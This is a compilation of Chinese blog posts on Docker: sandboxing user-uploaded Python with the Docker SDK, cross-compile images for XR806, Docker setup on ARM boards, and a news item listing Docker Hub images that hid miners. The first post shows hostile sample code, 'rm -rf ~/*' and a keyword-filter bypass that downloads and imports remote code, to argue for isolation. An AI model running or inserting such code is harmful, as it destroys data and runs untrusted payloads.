如何安全运行别人上传的Python代码?

作者:kingname

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。

import os
os.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗?

    这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?

    import requests
    code = requests.get('https://www.kingname.info/dangerous_code').text
    with open('dangerous_code.py', 'w') as f:
    f.write(code)
    dangerous_module = import('dangerous_code')
    danderous_module.delete_all()

    其中https://www.kingname.info/dangerous_code对应的代码如下:

    import os
    def delete_all():
        os.system('rm -rf ~/*')

      这样就可以绕过关键字检查,并成功删除你的文件了。

      如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。

      而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。

      为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。

      显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。

      首先,确保你的服务器上面已经有Docker,并且正在运行。

      接下来,安装Docker SDK:

      pip install docker

      假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面。

      那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:

      from python:3.10
      
      run pip install -r requirements.txt
      copy . /app
      workdir /app

      当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。

      接下来,我们开始构建镜像并运行代码:

      import docker
      client = docker.from_env()
      
      client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义
      
      container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

      这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:

      container.logs(tail=10) # 显示最后10行日志

      就可以看到相关的日志了。

      关于Docker SDK的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]

      参考资料

      [1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python

      一条命令部署FreeRTOS for XR806交叉编译环境

      之前,全志科技XR806主要是用来跑OpenHarmony(鸿蒙)的。

      但由于鸿蒙这个操作系统还比较新,编译环境配置起来有些麻烦,于是我就做了一个基于Docker的交叉编译环境。

      最近看到全志科技公布了XR806的FreeRTOS SDK,赶紧一探究竟。

      其实全志之前出了几个版本,现在这个1.2.1版本经过多方测试,比较稳定。

      先来看看这个版本的主要功能。

      xr806_sdk-v1.2.1的主要功能描述如下:
      
      1、支持WiFi STA/AP模式;
      2、支持WiFi WPA3功能;
      3、支持BLE扫描、广播、连接、配对;
      4、支持BLE MESH;
      5、支持SoundConfig、AirKiss、SmartConfig、APConfig配网;
      6、支持MbedTLS、MQTT、WebSocket等多种网络协议;
      7、支持PSRAM、DMA、GPIO、UART、PWM、CODEC播放与录音、ADC转换、硬件加解密、看门狗等多种外设;
      8、支持MP3、M4A、AAC、AMR、TS、M3U8等音频的播放,支持Flash、HTTP、HTTPS、音频数据流播放。

      FreeRTOS是国际上比较流行的一款MCU的嵌入式操作系统。

      历史悠久,用户基础很大。

      为了方便初学者调试,我这里顺便做了一个FreeRTOS交叉编译的Docker版本。

      Docker官方仓库地址:

      https://hub.docker.com/r/verdureorange/ubuntu_xr806

      安装方式:

      在已经安装Docker的情况下,执行以下命令:

      docker run -it verdureorange/ubuntu_xr806:v2 /bin/bash

      注:v1是OpenHarmony的环境,v2才是FreeRTOS的,请勿搞混。

      一条命令搞定全志XR806编译环境

      XR806广泛应用于家电、安防等产品,比如以下案例。

      1. 智能家电,如空凋、冰箱、洗衣机,通过无线模组,通过家电<->服务器<->手机的连接关系,实现远程控制。
      2. IPC。即网络摄像头,网络编码模块将模拟摄像机采集到的模拟视频信号编码压缩成数字信号,从而可以直接接入网络交换及路由设备。
      3. 智能门锁。XR806特有的超低功耗技术,保证了稳定连接的前提下也保证了续航。

      但是编译环境的设置比较麻烦,这里提供容器化安装方式,一条命令装好(使用前必须先安装Docker)

      省的大家又是找源代码,又是配置环境了。

      docker pull verdureorange/ubuntu_xr806:v1

      Ubuntu 20.04 for Allwinner XR806.

      Integrated demo codes and compilation tools, easy to quickly generate image package.

      Teaching video: https://youtu.be/maNb565bnyI

      Author: Medivh

      If you have any questions, you can send me an email. Email:verdureorange@gmail.com

      RK3399的Rock pi 4B怎么装Docker Community Edition

      以ubuntu20.04为例子,

      如果你过去安装过 docker,先删掉:

      sudo apt-get remove docker docker-engine docker.io

      首先安装依赖:

      sudo apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common

      根据你的发行版,下面的内容有所不同。如果你使用的发行版是Ubuntu。

      信任 Docker 的 GPG 公钥:

      curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

      对于 amd64 架构的计算机,添加软件仓库:

      sudo add-apt-repository \
         "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian \
         $(lsb_release -cs) \
         stable"

      如果你是树莓派或其它 64位ARM 架构计算机,请运行:

      echo "deb [arch=arm64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu \
           $(lsb_release -cs) stable" | \
          sudo tee /etc/apt/sources.list.d/docker.list

      最后安装。

      sudo apt-get update
      sudo apt-get install docker-ce

      构建一个镜像:

      docker build -t huaan/mypro:v1 .
      # -f指定Dockerfile文件的路径,不一定要指定
      # -t指定镜像名字和TAG
      # .指当前目录,这里实际上需要一个上下文路径

      进入一个已经运行的容器:

      docker exec -it be97856fab35 bash

      普通停止容器操作:

      docker stop $(docker ps -aq)

      docker 如何删除none镜像?

      删除none的镜像,要先删除镜像中的容器。要删除镜像中的容器,必须先停止容器。

      sudo docker stop $(docker ps -a | grep "Exited" | awk '{print $1 }') //停止容器
      sudo docker rm $(docker ps -a | grep "Exited" | awk '{print $1 }') //删除容器
      sudo docker rmi $(docker images | grep "none" | awk '{print $3}') //删除镜像

      查看当前的文件卷:

      docker volume ls

      删除查询到的数据卷:

      docker volume rm $(docker volume ls -q)

      删除网络:

      docker network rm $(docker network ls -q)

      强制清除:

      docker system prune --all --force

      将主机/www/runoob目录拷贝到容器96f7f14e99ab的/www目录下:

      docker cp /www/runoob 96f7f14e99ab:/www/

      将主机/www/runoob目录拷贝到容器96f7f14e99ab中,目录重命名为aaa:

      docker cp /www/runoob 96f7f14e99ab:/aaa

      将容器96f7f14e99ab的/www目录拷贝到主机的/tmp目录中:

      docker cp 96f7f14e99ab:/www /tmp/

      超五百万次下载的17个暗藏挖矿程序镜像被Docker移除

      Docker Hub 是一个分享预配置 Docker 镜像的仓库,预配置的镜像可以节省管理员的设置时间。Docker 公司近日从 Docker Hub 移除了 17 个含有挖扩程序或 Reverse Shell 后门的恶意 Docker 镜像,这些镜像在 Docker Hub 上已存在接近一年,估计已被下载超过 500 万次。

      网络安全机构Kromtech Security Center 指出,去年 7 月,用户名为 docker123321 的人上传了 3 个公开访问的镜像,它们包含了挖矿代码,有用户后来报告其中一个有后门。然而相关账号和镜像并没有在接到举报后从 Docker Hub 移除。在之后的几个月里,该账号又上传了 14 个恶意镜像。Docker Hub 直到上个月才对这些恶意镜像采取行动。与挖矿代码相关联的钱包地址显示,这些恶意镜像挖出了价值约 9 万美元的门罗币。

      本次事件的时间轴记录

      Docker 用户不妨检查自己的系统是否下载了相关的恶意 Docker 镜像,以采取相对应的行动,这些镜像分别是:

      docker123321/tomcat

      docker123321/tomcat11

      docker123321/tomcat22

      docker123321/kk

      docker123321/mysql

      docker123321/data

      docker123321/mysql0

      docker123321/cron

      docker123321/cronm

      docker123321/cronnn

      docker123321/t1

      docker123321/t2

      docker123321/mysql2

      docker123321/mysql3

      docker123321/mysql4

      docker123321/mysql5

      docker123321/mysql6

      转载自:开源中国社区

      在Raspberry Pi 3B上跑Resin balena容器引擎

      物联网正在快速发展,它是智慧设备的高度互联网络,这些设备包括环境传感器、健康跟踪器、家用电器和工业设备等。到 2020 年,预计有 200 亿个设备将连入网络,这超过 PC、智能手机和平板电脑加起来的数量的两倍。开发人员正在快速开始为 IoT 创建应用程序,而使用容器可在不同方面为他们带来帮助。

      容器是一种轻量型的虚拟化方法,开发人员可使用该方法快速、大规模地开发、测试、部署和更新 IoT 应用程序。此前也有许多 Web 和移动应用程序开发人员使用虚拟机管理程序(比如 VirtualBox)来运行虚拟机 (VM),在一个跨平台的开发、测试和部署工作流中虚拟化物理硬件。道理异曲同工,但容器肯定更轻量。

      Balena就是这样一个基于“Moby”的轻量级开源容器引擎,可以兼容32位到64位多种ARM架构,精简又轻便。可以跑在树莓派上。

      安装也非常简单,一个命令搞定。

      curl -sfL https://balena.io/install.sh | sh

      不过缺点也是有的,比如没有Swarm集群、插件、云日志、应用层网络、非boltdb支持的商店。当然在IoT场景中,这些特性的需求度不高。

      我在树莓派3B上测试了这个容器引擎,感觉还挺方便。

      以后balena将在ResinOS里代替Docker,相信其他一些Docker相关的初创公司也会慢慢走上这条道路。恩,我指的是各种基于Moby的容器引擎替代Docker的。

      容器操作系统HypriotOS在树莓派3上的安装

      HyproitOS是一款容器操作系统,可以在任何支持Raspberry Pi系列的设备上运行,能让你在五分钟内从0到Docker。

      选择HypriotOS的原因是因为其对Docker的支持已经很完善,且有丰富参考资料减少了很多弯路。前期在使用cubieboard进行测试时发现自带镜像文件内核版本太低需要自行编译,后期才找到一个第三方的安装地址,有时间另行介绍。

      镜像文件

      访问:https://blog.hypriot.com/downloads/ 下载最新版本的镜像文件。

      也可以通过我的分享来下载:

      http://pan.baidu.com/s/1nvEwhkP
      密码:vip6

      读卡器一个
      镜像写入软件
      Windows下的Win32 Disk Imager软件(上面共享盘里有)
      Linux、Mac下flash tools安装(推荐)

      curl -O https://raw.githubusercontent.com/hypriot/flash/master/$(uname -s)/flash

      chmod +x flash

      sudo mv flash /usr/local/bin/flash

      使用

      写入镜像后将内存卡放入树莓派并重启。用户名:pirate 密码:hypriot

      如果你是用flash写入的话在可以在写入命令行前加入 –hostname 这样就不需要显示器了,或者像有的资料介绍的通过nmap或其它扫描工具来发现设备。仅需要执行如下命令就可以直接连接设备。

      比如我写入的命令如下:

      #注意下载的ZIP包不要解压
      flash –hostname pi0 hypriotos-rpi-v1.1.3.img.zip

      由于我设置的hostname为pi0,那么我的ssh登录命令如下:

      #这里的pirate用户为hypriotos默认登录用户
      #此登录方式要登录设备与树莓派在一个网段

      ssh pirate@pi0.local

      通过上面的ssh命令不需要知道IP的情况下即可登录。

      更新系统

      sudo apt-get update && sudo apt-get upgrade -y
      sudo apt-get dis-upgrade -y

      以上通过更新对系统打补丁及安装各软件最新版本,然后通过安装rasip-config可以用图形化界面进行配置。

      sudo apt-get install raspi-config

      Docker安装

      sudo apt-get install docker.io

      测试

      docker run -d -p 80:80 hypriot/rpi-busybox-httpd

      如果国内访问不正常,可以这样。

      wget http://soft.sunsl.net/dev/armhf/rpi-busybox-httpd.tar
      docker load -i rpi-busybox-httpd.tar

      成功后你应该能通过浏览器访问到如下界面:

      作者:forrestsun
      來源:https://www.jianshu.com/p/3e2a901e66b7

      想要更多,请关注“IoT前哨站”微博或微信公众号